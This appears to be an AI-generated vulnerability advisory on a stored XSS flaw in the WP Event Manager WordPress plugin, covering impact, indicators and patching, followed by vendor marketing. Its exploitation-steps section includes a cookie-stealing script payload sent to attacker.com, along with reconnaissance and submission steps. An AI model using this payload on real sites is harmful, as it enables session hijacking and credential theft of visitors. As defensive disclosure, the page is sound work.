CVE-2025-2800
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-2800 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Event Manager – Events Calendar, Registrations, Sell Tickets with WooCommerce plugin for WordPress. It affects all versions up to and including 3.1.50, with the fix introduced in version 3.1.51. The vulnerability was published on July 16, 2025, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 6.1 (Medium) per NVD, though ENISA's EUVD rates it 7.2 (Wordfence, ENISA EUVD).

Technical details

The root cause is insufficient input sanitization and output escaping of the organizer_name parameter (CWE-79: Improper Neutralization of Input During Web Page Generation). Because no authentication is required to submit this parameter, unauthenticated attackers can inject arbitrary JavaScript payloads that are stored server-side and rendered to any user who subsequently visits the affected page. The attack vector is network-based, requires no privileges, and only requires a victim to load the injected page to trigger script execution (Wordfence, ENISA EUVD).

Impact

Successful exploitation allows unauthenticated attackers to persistently inject malicious scripts into WordPress pages, which execute in the browsers of any user who visits the compromised page. Potential consequences include session cookie theft, credential harvesting via keylogging, redirection to malicious sites, and performing unauthorized actions within the WordPress site on behalf of authenticated victims (including administrators). While availability is not directly impacted, the integrity and confidentiality of user sessions and site content are at risk (Wordfence).

Exploitability

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Wordfence). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.074%, indicating a low probability of exploitation in the near term. Qualys has added detection for this vulnerability (Detection ID: 530303) (Qualys).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the WP Event Manager plugin at version 3.1.50 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
  2. Craft malicious payload: Prepare a stored XSS payload to be injected into the organizer_name parameter, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Submit the payload: Without authentication, submit a request (e.g., via event registration or organizer submission form) that includes the malicious organizer_name value to the vulnerable endpoint.
  4. Payload stored: The plugin stores the unsanitized input in the WordPress database due to missing input sanitization.
  5. Victim triggers execution: When any user (including administrators) visits a page that renders the injected organizer_name field, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

Indicators of compromise

  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting event-related WordPress pages; unusual POST requests to event registration or organizer submission endpoints containing HTML/JavaScript tags in the organizer_name field.
  • Logs: WordPress access logs showing submissions with script tags or encoded JavaScript in the organizer_name parameter; unexpected admin-level actions in WordPress audit logs following user visits to event pages.
  • File System / Database: WordPress database entries in event or organizer tables containing <script>, javascript:, or encoded XSS payloads in the organizer_name field.
  • Process/Browser: Unexpected redirects or pop-ups reported by users visiting event pages on the affected WordPress site.

Mitigation and workarounds

The vendor released version 3.1.51 of the WP Event Manager plugin, which addresses the insufficient input sanitization and output escaping in the organizer_name parameter. Site administrators should update the plugin to version 3.1.51 or later immediately via the WordPress admin dashboard (WordPress Trac). As interim measures, deploying a Web Application Firewall (WAF) to filter XSS payloads and restricting public access to event submission forms can reduce exposure. Regularly auditing user-submitted content in the WordPress database for unexpected script tags is also recommended.

Community reactions

Wordfence reported the vulnerability as part of their weekly WordPress vulnerability report for the period of July 14–20, 2025, noting it as a stored XSS affecting unauthenticated users (Wordfence Blog). Qualys added a web application detection for this CVE in their July 2025 detection update (Qualys). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management